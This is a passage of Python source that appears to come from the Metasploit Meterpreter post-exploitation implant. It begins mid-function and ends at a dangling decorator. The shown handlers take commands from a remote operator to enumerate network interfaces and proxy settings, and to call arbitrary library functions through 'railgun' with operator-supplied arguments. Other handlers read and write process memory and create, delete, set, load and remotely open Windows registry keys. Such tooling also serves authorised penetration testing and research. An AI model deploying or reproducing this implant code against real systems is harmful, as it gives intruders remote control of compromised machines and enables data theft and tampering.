		interfaces = stdapi_net_config_get_interfaces_via_windll()
	else:
		return ERROR_FAILURE, response
	for iface_info in interfaces:
		iface_tlv  = bytes()
		iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown'))
		iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00'))
		if 'mtu' in iface_info:
			iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_MTU, iface_info['mtu'])
		if 'flags' in iface_info:
			iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_FLAGS, iface_info['flags'])
		iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_INDEX, iface_info['index'])
		for address in iface_info.get('addrs', []):
			iface_tlv += tlv_pack(TLV_TYPE_IP, address[1])
			if isinstance(address[2], (int, long)):
				iface_tlv += tlv_pack(TLV_TYPE_IP_PREFIX, address[2])
			else:
				iface_tlv += tlv_pack(TLV_TYPE_NETMASK, address[2])
		response += tlv_pack(TLV_TYPE_NETWORK_INTERFACE, iface_tlv)
	return ERROR_SUCCESS, response

def stdapi_net_config_get_interfaces_via_netlink():
	rta_align = lambda l: l+3 & ~3
	iface_flags = {
		0x0001: 'UP',
		0x0002: 'BROADCAST',
		0x0008: 'LOOPBACK',
		0x0010: 'POINTTOPOINT',
		0x0040: 'RUNNING',
		0x0100: 'PROMISC',
		0x1000: 'MULTICAST'
	}
	iface_flags_sorted = list(iface_flags.keys())
	# Dictionaries don't maintain order
	iface_flags_sorted.sort()
	interfaces = {}

	responses = netlink_request(RTM_GETLINK)
	for res_data in responses:
		iface = cstruct_unpack(IFINFOMSG, res_data)
		iface_info = {'index':iface.index}
		flags = []
		for flag in iface_flags_sorted:
			if (iface.flags & flag):
				flags.append(iface_flags[flag])
		iface_info['flags'] = ' '.join(flags)
		cursor = ctypes.sizeof(IFINFOMSG)
		while cursor < len(res_data):
			attribute = cstruct_unpack(RTATTR, res_data[cursor:])
			at_len = attribute.len
			attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
			cursor += rta_align(at_len)

			if attribute.type == IFLA_ADDRESS:
				iface_info['hw_addr'] = attr_data
			elif attribute.type == IFLA_IFNAME:
				iface_info['name'] = attr_data
			elif attribute.type == IFLA_MTU:
				iface_info['mtu'] = struct.unpack('<I', attr_data)[0]
		interfaces[iface.index] = iface_info

	responses = netlink_request(RTM_GETADDR)
	for res_data in responses:
		iface = cstruct_unpack(IFADDRMSG, res_data)
		if not iface.family in (socket.AF_INET, socket.AF_INET6):
			continue
		iface_info = interfaces.get(iface.index, {})
		cursor = ctypes.sizeof(IFADDRMSG)
		while cursor < len(res_data):
			attribute = cstruct_unpack(RTATTR, res_data[cursor:])
			at_len = attribute.len
			attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
			cursor += rta_align(at_len)

			if attribute.type == IFA_ADDRESS:
				nm_bits = iface.prefixlen
				if iface.family == socket.AF_INET:
					netmask = calculate_32bit_netmask(nm_bits)
				else:
					netmask = calculate_128bit_netmask(nm_bits)
				addr_list = iface_info.get('addrs', [])
				addr_list.append((iface.family, attr_data, netmask))
				iface_info['addrs'] = addr_list
			elif attribute.type == IFA_LABEL:
				iface_info['name'] = attr_data
		interfaces[iface.index] = iface_info
	return interfaces.values()

def stdapi_net_config_get_interfaces_via_osx_ifconfig():
	proc_h = subprocess.Popen('/sbin/ifconfig', stdout=subprocess.PIPE, stderr=subprocess.PIPE)
	if proc_h.wait():
		raise Exception('ifconfig exited with non-zero status')
	output = proc_h.stdout.read()

	interfaces = []
	iface = {}
	for line in output.split('\n'):
		match = re.match(r'^([a-z0-9]+): flags=(\d+)<[A-Z,]*> mtu (\d+)\s*$', line)
		if match is not None:
			if iface:
				interfaces.append(iface)
			iface = {}
			iface['name'] = match.group(1)
			iface['flags'] = int(match.group(2))
			iface['mtu'] = int(match.group(3))
			iface['index'] = len(interfaces)
			continue
		match = re.match(r'^\s+ether (([a-f0-9]{2}:){5}[a-f0-9]{2})\s*$', line)
		if match is not None:
			iface['hw_addr'] = ''.join(list(chr(int(b, 16)) for b in match.group(1).split(':')))
			continue
		match = re.match(r'^\s+inet ((\d+\.){3}\d+) netmask 0x([a-f0-9]{8})( broadcast ((\d+\.){3}\d+))?\s*$', line)
		if match is not None:
			addrs = iface.get('addrs', [])
			netmask = struct.pack('!I', int(match.group(3), 16))
			addrs.append((socket.AF_INET, inet_pton(socket.AF_INET, match.group(1)), netmask))
			iface['addrs'] = addrs
			continue
		match = re.match(r'^\s+inet6 ([a-f0-9:]+)(%[a-z0-9]+)? prefixlen (\d+)( secured)?( scopeid 0x[a-f0-9]+)?\s*$', line)
		if match is not None:
			addrs = iface.get('addrs', [])
			netmask = calculate_128bit_netmask(int(match.group(3)))
			addrs.append((socket.AF_INET6, inet_pton(socket.AF_INET6, match.group(1)), netmask))
			iface['addrs'] = addrs
			continue
	if iface:
		interfaces.append(iface)
	return interfaces

def stdapi_net_config_get_interfaces_via_windll():
	iphlpapi = ctypes.windll.iphlpapi
	if not hasattr(iphlpapi, 'GetAdaptersAddresses'):
		return stdapi_net_config_get_interfaces_via_windll_mib()
	Flags = (GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST)
	AdapterAddresses = ctypes.c_void_p()
	SizePointer = ctypes.c_ulong()
	SizePointer.value = 0
	iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, AdapterAddresses, ctypes.byref(SizePointer))
	AdapterAddressesData = (ctypes.c_uint8 * SizePointer.value)()
	iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, ctypes.byref(AdapterAddressesData), ctypes.byref(SizePointer))
	AdapterAddresses = ctypes.string_at(ctypes.byref(AdapterAddressesData), SizePointer.value)
	AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, AdapterAddresses)
	if AdapterAddresses.u.s.Length <= 72:
		return stdapi_net_config_get_interfaces_via_windll_mib()
	win_version = windll_GetVersion()
	interfaces = []
	pAdapterAddresses = ctypes.byref(AdapterAddresses)
	while pAdapterAddresses:
		AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, pAdapterAddresses)
		pAdapterAddresses = AdapterAddresses.Next
		pFirstPrefix = AdapterAddresses.FirstPrefix
		iface_info = {}
		iface_info['index'] = AdapterAddresses.u.s.IfIndex
		if AdapterAddresses.PhysicalAddressLength:
			iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength)
		iface_desc = ctypes.wstring_at(AdapterAddresses.Description)
		if not is_str(iface_desc):
			iface_desc = str(iface_desc)
		iface_info['name'] = iface_desc
		iface_info['mtu'] = AdapterAddresses.Mtu
		pUniAddr = AdapterAddresses.FirstUnicastAddress
		while pUniAddr:
			UniAddr = cstruct_unpack(IP_ADAPTER_UNICAST_ADDRESS, pUniAddr)
			pUniAddr = UniAddr.Next
			address = cstruct_unpack(SOCKADDR, UniAddr.Address.lpSockaddr)
			if not address.sa_family in (socket.AF_INET, socket.AF_INET6):
				continue
			prefix = 0
			if win_version.dwMajorVersion >= 6:
				prefix = UniAddr.OnLinkPrefixLength
			elif pFirstPrefix:
				ip_adapter_prefix = 'QPPIL'
				prefix_data = ctypes.string_at(pFirstPrefix, struct.calcsize(ip_adapter_prefix))
				prefix = struct.unpack(ip_adapter_prefix, prefix_data)[4]
			iface_addresses = iface_info.get('addrs', [])
			if address.sa_family == socket.AF_INET:
				iface_addresses.append((socket.AF_INET, ctypes.string_at(ctypes.byref(address.sa_data), 6)[2:], prefix))
			else:
				iface_addresses.append((socket.AF_INET6, ctypes.string_at(ctypes.byref(address.sa_data), 22)[6:], prefix))
			iface_info['addrs'] = iface_addresses
		interfaces.append(iface_info)
	return interfaces

def stdapi_net_config_get_interfaces_via_windll_mib():
	iphlpapi = ctypes.windll.iphlpapi
	table = (ctypes.c_uint8 * (ctypes.sizeof(MIB_IPADDRROW) * 33))()
	pdwSize = ctypes.c_ulong()
	pdwSize.value = ctypes.sizeof(table)
	if (iphlpapi.GetIpAddrTable(ctypes.byref(table), ctypes.byref(pdwSize), True) != 0):
		return None
	interfaces = []
	table_data = ctypes.string_at(table, pdwSize.value)
	entries = struct.unpack('I', table_data[:4])[0]
	table_data = table_data[4:]
	for i in range(entries):
		addrrow = cstruct_unpack(MIB_IPADDRROW, table_data)
		ifrow = MIB_IFROW()
		ifrow.dwIndex = addrrow.dwIndex
		if iphlpapi.GetIfEntry(ctypes.byref(ifrow)) != 0:
			continue
		iface_info = {}
		table_data = table_data[ctypes.sizeof(MIB_IPADDRROW):]
		iface_info['index'] = addrrow.dwIndex
		iface_info['addrs'] = [(socket.AF_INET, struct.pack('<I', addrrow.dwAddr), struct.pack('<I', addrrow.dwMask))]
		if ifrow.dwPhysAddrLen:
			iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(ifrow.bPhysAddr), ifrow.dwPhysAddrLen)
		if ifrow.dwDescrLen:
			iface_info['name'] = ifrow.bDescr
		iface_info['mtu'] = ifrow.dwMtu
		interfaces.append(iface_info)
	return interfaces

@register_function_if(has_windll)
def stdapi_net_config_get_proxy(request, response):
	winhttp = ctypes.windll.winhttp
	proxy_config = WINHTTP_CURRENT_USER_IE_PROXY_CONFIG()
	if not winhttp.WinHttpGetIEproxy_configForCurrentUser(ctypes.byref(proxy_config)):
		return error_result_windows(), response
	response += tlv_pack(TLV_TYPE_PROXY_CFG_AUTODETECT, proxy_config.fAutoDetect)
	if proxy_config.lpszAutoConfigUrl:
		response += tlv_pack(TLV_TYPE_PROXY_CFG_AUTOCONFIGURL, proxy_config.lpszAutoConfigUrl)
	if proxy_config.lpszProxy:
		response += tlv_pack(TLV_TYPE_PROXY_CFG_PROXY, proxy_config.lpszProxy)
	if proxy_config.lpszProxyBypass:
		response += tlv_pack(TLV_TYPE_PROXY_CFG_PROXYBYPASS, proxy_config.lpszProxyBypass)
	return ERROR_SUCCESS, response

@register_function
def stdapi_net_resolve_host(request, response):
	hostname = packet_get_tlv(request, TLV_TYPE_HOST_NAME)['value']
	family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
	if family == WIN_AF_INET:
		family = socket.AF_INET
	elif family == WIN_AF_INET6:
		family = socket.AF_INET6
	else:
		raise Exception('invalid family')
	result = resolve_host(hostname, family)
	response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
	response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
	return ERROR_SUCCESS, response

@register_function
def stdapi_net_resolve_hosts(request, response):
	family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
	if family == WIN_AF_INET:
		family = socket.AF_INET
	elif family == WIN_AF_INET6:
		family = socket.AF_INET6
	else:
		raise Exception('invalid family')
	for hostname in packet_enum_tlvs(request, TLV_TYPE_HOST_NAME):
		hostname = hostname['value']
		try:
			result = resolve_host(hostname, family)
		except socket.error:
			result = {'family':family, 'packed_address':''}
		response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
		response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
	return ERROR_SUCCESS, response

@register_function
def stdapi_net_socket_tcp_shutdown(request, response):
	channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
	how = packet_get_tlv(request, TLV_TYPE_SHUTDOWN_HOW).get('value', socket.SHUT_RDWR)
	channel = meterpreter.channels[channel_id]
	channel.shutdown(how)
	return ERROR_SUCCESS, response

def _linux_get_maps():
	maps = []
	lines = open('/proc/' + str(os.getpid()) + '/maps', 'r')
	for line in lines:
		region = dict(zip(
			('address', 'perms', 'offset', 'dev', 'inode', 'pathname'),
			line.split(' ', 5)
		))
		region['address-start'], region['address-end'] = region.pop('address').split('-')
		region['address-start'] = int(region['address-start'], 16)
		region['address-end'] = int(region['address-end'], 16)
		region['inode'] = int(region['inode'])
		region['offset'] = int(region['offset'], 16)
		region['pathname'] = region['pathname'].strip()
		region['size'] = region['address-end'] - region['address-start']
		maps.append(region)
	return maps

def _linux_check_maps(address, size, perms=''):
	perms = perms.lower()
	maps = _linux_get_maps()

	cursor = address
	address += size
	while cursor < address:
		for region in maps:
			if region['address-start'] <= cursor < region['address-end']:
				break
		else:
			return False
		for perm in perms:
			if perm == '-':
				continue
			if not perm in region['perms']:
				return False
		if cursor + size < region['address-end']:
			break
		size -= region['address-end'] - cursor
		cursor = region['address-end']
	return True

def _linux_memread(address, size):
	libc = ctypes.cdll.LoadLibrary('libc.so.6')
	if not hasattr(libc, 'process_vm_readv'):
		# requires linux 3.2+ / glibc 2.15+, see:
		# http://man7.org/linux/man-pages/man2/process_vm_readv.2.html#VERSIONS
		raise RuntimeError('process_vm_readv is unavailable')
	if not _linux_check_maps(address, size, perms='r'):
		raise RuntimeError('invalid permissions')
	buff = (ctypes.c_byte * size)()
	local_iov = IOVEC(iov_base=ctypes.cast(buff, ctypes.c_void_p), iov_len=size)
	remote_iov = IOVEC(iov_base=address, iov_len=size)
	result = libc.process_vm_readv(
		os.getpid(),
		ctypes.byref(local_iov),
		1,
		ctypes.byref(remote_iov),
		1,
		0
	)
	if result == -1:
		raise RuntimeError('operation failed')
	return ctarray_to_bytes(buff)

def _linux_memwrite(address, data):
	libc = ctypes.cdll.LoadLibrary('libc.so.6')
	if not hasattr(libc, 'process_vm_writev'):
		# requires linux 3.2+ / glibc 2.15+, see:
		# http://man7.org/linux/man-pages/man2/process_vm_writev.2.html#VERSIONS
		raise RuntimeError('process_vm_writev is unavailable')
	size = len(data)
	if not _linux_check_maps(address, size, perms='w'):
		raise RuntimeError('invalid permissions')
	buff = bytes_to_ctarray(data)
	local_iov = IOVEC(iov_base=ctypes.cast(buff, ctypes.c_void_p), iov_len=size)
	remote_iov = IOVEC(iov_base=address, iov_len=size)
	result = libc.process_vm_writev(
		os.getpid(),
		ctypes.byref(local_iov),
		1,
		ctypes.byref(remote_iov),
		1,
		0
	)
	if result == -1:
		raise RuntimeError('operation failed')
	return size

def _win_format_message(source, msg_id):
	EN_US = 0
	msg_flags = 0
	msg_flags |= 0x00000100  # FORMAT_MESSAGE_ALLOCATE_BUFFER
	msg_flags |= 0x00000200  # FORMAT_MESSAGE_IGNORE_INSERTS
	msg_flags |= 0x00000800  # FORMAT_MESSAGE_FROM_HMODULE
	msg_flags |= 0x00001000  # FORMAT_MESSAGE_FROM_SYSTEM
	FormatMessage = ctypes.windll.kernel32.FormatMessageA
	FormatMessage.argtypes = [ctypes.c_uint32, ctypes.c_void_p, ctypes.c_uint32, ctypes.c_uint32, ctypes.c_void_p, ctypes.c_uint32, ctypes.c_void_p]
	FormatMessage.restype = ctypes.c_uint32
	LocalFree = ctypes.windll.kernel32.LocalFree
	LocalFree.argtypes = [ctypes.c_void_p]

	buff = ctypes.c_char_p()
	if not FormatMessage(msg_flags, source, msg_id, EN_US, ctypes.byref(buff), 0, None):
		return None
	message = buff.value.decode('utf-8').rstrip()
	LocalFree(buff)
	return message

def _win_memread(address, size, handle=-1):
	ReadProcessMemory = ctypes.windll.kernel32.ReadProcessMemory
	ReadProcessMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, size_t, ctypes.POINTER(size_t)]
	buff = (ctypes.c_byte * size)()
	read = size_t()
	result = ReadProcessMemory(handle, address, ctypes.byref(buff), size, ctypes.byref(read))
	if not result:
		return None
	return ctarray_to_bytes(buff)

def _win_memwrite(address, data, handle=-1):
	WriteProcessMemory = ctypes.windll.kernel32.WriteProcessMemory
	WriteProcessMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, size_t, ctypes.POINTER(size_t)]
	size = len(data)
	buff = bytes_to_ctarray(data)
	written = size_t()
	result = WriteProcessMemory(handle, address, ctypes.byref(buff), size, ctypes.byref(written))
	if not result:
		return None
	return written.value

@register_function_if(sys.platform.startswith('linux') or has_windll)
def stdapi_railgun_api(request, response):
	size_out = packet_get_tlv(request, TLV_TYPE_RAILGUN_SIZE_OUT)['value']
	stack_blob = packet_get_tlv(request, TLV_TYPE_RAILGUN_STACKBLOB)['value']
	buff_blob_in = packet_get_tlv(request, TLV_TYPE_RAILGUN_BUFFERBLOB_IN)['value']
	buff_blob_inout = packet_get_tlv(request, TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT)['value']
	lib_name = packet_get_tlv(request, TLV_TYPE_RAILGUN_DLLNAME)['value']
	func_name = packet_get_tlv(request, TLV_TYPE_RAILGUN_FUNCNAME)['value']
	call_conv = packet_get_tlv(request, TLV_TYPE_RAILGUN_CALLCONV).get('value', ('stdcall' if has_windll else 'cdecl'))

	buff_blob_in = bytes_to_ctarray(buff_blob_in)
	buff_blob_out = (ctypes.c_byte * size_out)()
	buff_blob_inout = bytes_to_ctarray(buff_blob_inout)

	if ctypes.sizeof(ctypes.c_void_p) == 4:
		native = ctypes.c_uint32
		fmt = 'II'
	elif ctypes.sizeof(ctypes.c_void_p) == 8:
		native = ctypes.c_uint64
		fmt = 'QQ'
	else:
		raise RuntimeError('unknown sizeof(void *)')
	fmt_size = struct.calcsize(fmt)

	if call_conv.lower() == 'cdecl':
		func_type = ctypes.CFUNCTYPE
	elif call_conv.lower() == 'stdcall' and hasattr(ctypes, 'WINFUNCTYPE'):
		func_type = ctypes.WINFUNCTYPE
	else:
		raise ValueError('unknown calling convention')

	call_args = []
	func_args = []
	for pos in range(0, len(stack_blob), fmt_size):
		arg_type, arg = struct.unpack(fmt, stack_blob[pos:pos + fmt_size])
		if arg_type == 0:    # literal
			call_args.append(arg)
			func_args.append(native)
		elif arg_type == 1:  # relative to in
			call_args.append(byref_at(buff_blob_in, arg))
			func_args.append(ctypes.c_void_p)
		elif arg_type == 2:  # relative to out
			call_args.append(byref_at(buff_blob_out, arg))
			func_args.append(ctypes.c_void_p)
		elif arg_type == 3:  # relative to inout
			call_args.append(byref_at(buff_blob_inout, arg))
			func_args.append(ctypes.c_void_p)
		else:
			raise ValueError('unknown argument type: ' + str(arg_type))

	debug_print('[*] railgun calling: ' + lib_name + '!' + func_name)
	prototype = func_type(native, *func_args)
	if sys.platform.startswith('linux'):
		libc = ctypes.cdll.LoadLibrary('libc.so.6')
		p_errno = ctypes.cast(libc.errno, ctypes.POINTER(ctypes.c_int))
		errno = p_errno.contents
		last_error = ctypes.c_int(0)
		p_errno.contents = last_error
		func = prototype((func_name, ctypes.CDLL(lib_name)))
		result = func(*call_args)
		p_errno.contents = errno
		last_error = last_error.value
		libc.strerror.argtypes = [ctypes.c_int]
		libc.strerror.restype = ctypes.c_char_p
		error_message = libc.strerror(last_error)
	elif has_windll:
		func = prototype((func_name, ctypes.WinDLL(lib_name)))
		result = func(*call_args)
		GetModuleHandle = ctypes.windll.kernel32.GetModuleHandleA
		GetModuleHandle.argtypes = [ctypes.c_char_p]
		GetModuleHandle.restype = ctypes.c_void_p
		lib_handle = GetModuleHandle(bytes(lib_name, 'UTF-8'))
		last_error = ctypes.windll.kernel32.GetLastError()
		error_message = _win_format_message(lib_handle, last_error)
		if error_message is None:
			if last_error == ERROR_SUCCESS:
				error_message = 'The operation completed successfully.'
			else:
				error_message = 'FormatMessage failed to retrieve the error.'
	else:
		raise RuntimeError('unknown platform')

	response += tlv_pack(TLV_TYPE_RAILGUN_BACK_ERR, last_error)
	response += tlv_pack(TLV_TYPE_RAILGUN_BACK_MSG, error_message)
	response += tlv_pack(TLV_TYPE_RAILGUN_BACK_RET, result)
	response += tlv_pack(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT, ctarray_to_bytes(buff_blob_out))
	response += tlv_pack(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT, ctarray_to_bytes(buff_blob_inout))
	return ERROR_SUCCESS, response

@register_function_if(sys.platform.startswith('linux') or has_windll)
def stdapi_railgun_api_multi(request, response):
	for group_tlv in packet_enum_tlvs(request, tlv_type=TLV_TYPE_RAILGUN_MULTI_GROUP):
		group_result = stdapi_railgun_api(group_tlv['value'], bytes())[1]
		response += tlv_pack(TLV_TYPE_RAILGUN_MULTI_GROUP, group_result)
	return ERROR_SUCCESS, response

@register_function_if(sys.platform.startswith('linux') or has_windll)
def stdapi_railgun_memread(request, response):
	address = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_ADDRESS)['value']
	length = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_LENGTH)['value']
	debug_print('[*] railgun reading ' + str(length) + ' bytes from 0x' + hex(address))
	if sys.platform.startswith('linux'):
		result = _linux_memread(address, length)
	elif has_windll:
		result = _win_memread(address, length)
		if result is None:
			return error_result_windows(), response
	else:
		return ERROR_FAILURE, response
	response += tlv_pack(TLV_TYPE_RAILGUN_MEM_DATA, result)
	return ERROR_SUCCESS, response

@register_function_if(sys.platform.startswith('linux') or has_windll)
def stdapi_railgun_memwrite(request, response):
	address = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_ADDRESS)['value']
	data = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_DATA)['value']
	length = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_LENGTH)['value']
	debug_print('[*] railgun writing ' + str(len(data)) + ' bytes to 0x' + hex(address))
	if sys.platform.startswith('linux'):
		result = _linux_memwrite(address, data)
	elif has_windll:
		result = _win_memwrite(address, data)
		if result is None:
			return error_result_windows(), response
	else:
		return ERROR_FAILURE, response
	return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_registry_close_key(request, response):
	_wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value'])
	return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_registry_create_key(request, response):
	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
	base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
	base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
	permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
	res_key = ctypes.c_void_p()
	if ctypes.windll.advapi32.RegCreateKeyExA(root_key, ctypes.byref(base_key), 0, None, 0, permission, None, ctypes.byref(res_key), None) != ERROR_SUCCESS:
		return error_result_windows(), response
	response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
	return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_registry_delete_key(request, response):
	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
	base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
	base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
	flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
	if (flags & DELETE_KEY_FLAG_RECURSIVE):
		result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, ctypes.byref(base_key))
	else:
		result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, ctypes.byref(base_key))
	return result, response

@register_function_if(has_windll)
def stdapi_registry_delete_value(request, response):
	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
	value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
	value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
	result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
	return result, response

def _wreg_enum_key(request, response, hkey):
	ERROR_MORE_DATA = 0xea
	ERROR_NO_MORE_ITEMS = 0x0103
	name = (ctypes.c_char * 4096)()
	index = 0
	tries = 0
	while True:
		result = ctypes.windll.advapi32.RegEnumKeyA(hkey, index, name, ctypes.sizeof(name))
		if result == ERROR_MORE_DATA:
			if tries > 3:
				break
			name = (ctypes.c_char * (ctypes.sizeof(name) * 2))
			tries += 1
			continue
		elif result == ERROR_NO_MORE_ITEMS:
			result = ERROR_SUCCESS
			break
		elif result != ERROR_SUCCESS:
			break
		tries = 0
		response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name))
		index += 1
	return result, response

@register_function_if(has_windll)
def stdapi_registry_enum_key(request, response):
	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
	return _wreg_enum_key(request, response, hkey)

@register_function_if(has_windll)
def stdapi_registry_enum_key_direct(request, response):
	err, hkey = _wreg_open_key(request)
	if err != ERROR_SUCCESS:
		return err, response
	ret = _wreg_enum_key(request, response, hkey)
	_wreg_close_key(hkey)
	return ret

def _wreg_enum_value(request, response, hkey):
	ERROR_MORE_DATA = 0xea
	ERROR_NO_MORE_ITEMS = 0x0103
	name = (ctypes.c_char * 4096)()
	name_sz = ctypes.c_uint32()
	index = 0
	tries = 0
	while True:
		name_sz.value = ctypes.sizeof(name)
		result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None)
		if result == ERROR_MORE_DATA:
			if tries > 3:
				break
			name = (ctypes.c_char * (ctypes.sizeof(name) * 3))
			tries += 1
			continue
		elif result == ERROR_NO_MORE_ITEMS:
			result = ERROR_SUCCESS
			break
		elif result != ERROR_SUCCESS:
			break
		tries = 0
		response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name))
		index += 1
	return result, response

@register_function_if(has_windll)
def stdapi_registry_enum_value(request, response):
	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
	return _wreg_enum_value(request, response, hkey)

@register_function_if(has_windll)
def stdapi_registry_enum_value_direct(request, response):
	err, hkey = _wreg_open_key(request)
	if err != ERROR_SUCCESS:
		return err, response
	ret = _wreg_enum_value(request, response, hkey)
	_wreg_close_key(hkey)
	return ret

@register_function_if(has_windll)
def stdapi_registry_load_key(request, response):
	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
	sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)
	file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH)
	result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
	return result, response

def _wreg_close_key(hkey):
	ctypes.windll.advapi32.RegCloseKey(hkey)

def _wreg_open_key(request):
	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
	base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
	base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
	permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
	handle_id = ctypes.c_void_p()
	if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS:
		return error_result_windows(), 0
	return ERROR_SUCCESS, handle_id.value

def _wreg_query_value(request, response, hkey):
	value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
	value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
	value_type = ctypes.c_uint32()
	value_type.value = 0
	value_data = (ctypes.c_ubyte * 4096)()
	value_data_sz = ctypes.c_uint32()
	value_data_sz.value = ctypes.sizeof(value_data)
	result = ctypes.windll.advapi32.RegQueryValueExA(hkey, ctypes.byref(value_name), 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
	if result == ERROR_SUCCESS:
		response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
		if value_type.value == winreg.REG_SZ:
			response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + NULL_BYTE)
		elif value_type.value == winreg.REG_DWORD:
			value = value_data[:4]
			value.reverse()
			if sys.version_info[0] < 3:
				value = ''.join(map(chr, value))
			else:
				value = bytes(value)
			response += tlv_pack(TLV_TYPE_VALUE_DATA, value)
		else:
			response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value))
		return ERROR_SUCCESS, response
	return error_result_windows(), response

def _wreg_set_value(request, response, hkey):
	value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
	value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
	value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
	value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
	result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
	return result, response

@register_function_if(has_windll)
def stdapi_registry_open_key(request, response):
	err, hkey = _wreg_open_key(request)
	if err != ERROR_SUCCESS:
		return err, response
	response += tlv_pack(TLV_TYPE_HKEY, hkey)
	return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_registry_open_remote_key(request, response):
	target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value']
	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
	result_key = ctypes.c_void_p()
	if ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key)) != ERROR_SUCCESS:
		return error_result_windows(), response
	response += tlv_pack(TLV_TYPE_HKEY, result_key.value)
	return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_registry_query_class(request, response):
	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
	value_data = (ctypes.c_char * 4096)()
	value_data_sz = ctypes.c_uint32()
	value_data_sz.value = ctypes.sizeof(value_data)
	if ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None) != ERROR_SUCCESS:
		return error_result_windows(), response
	response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
	return ERROR_SUCCESS, response

@register_function_if(has_windll)
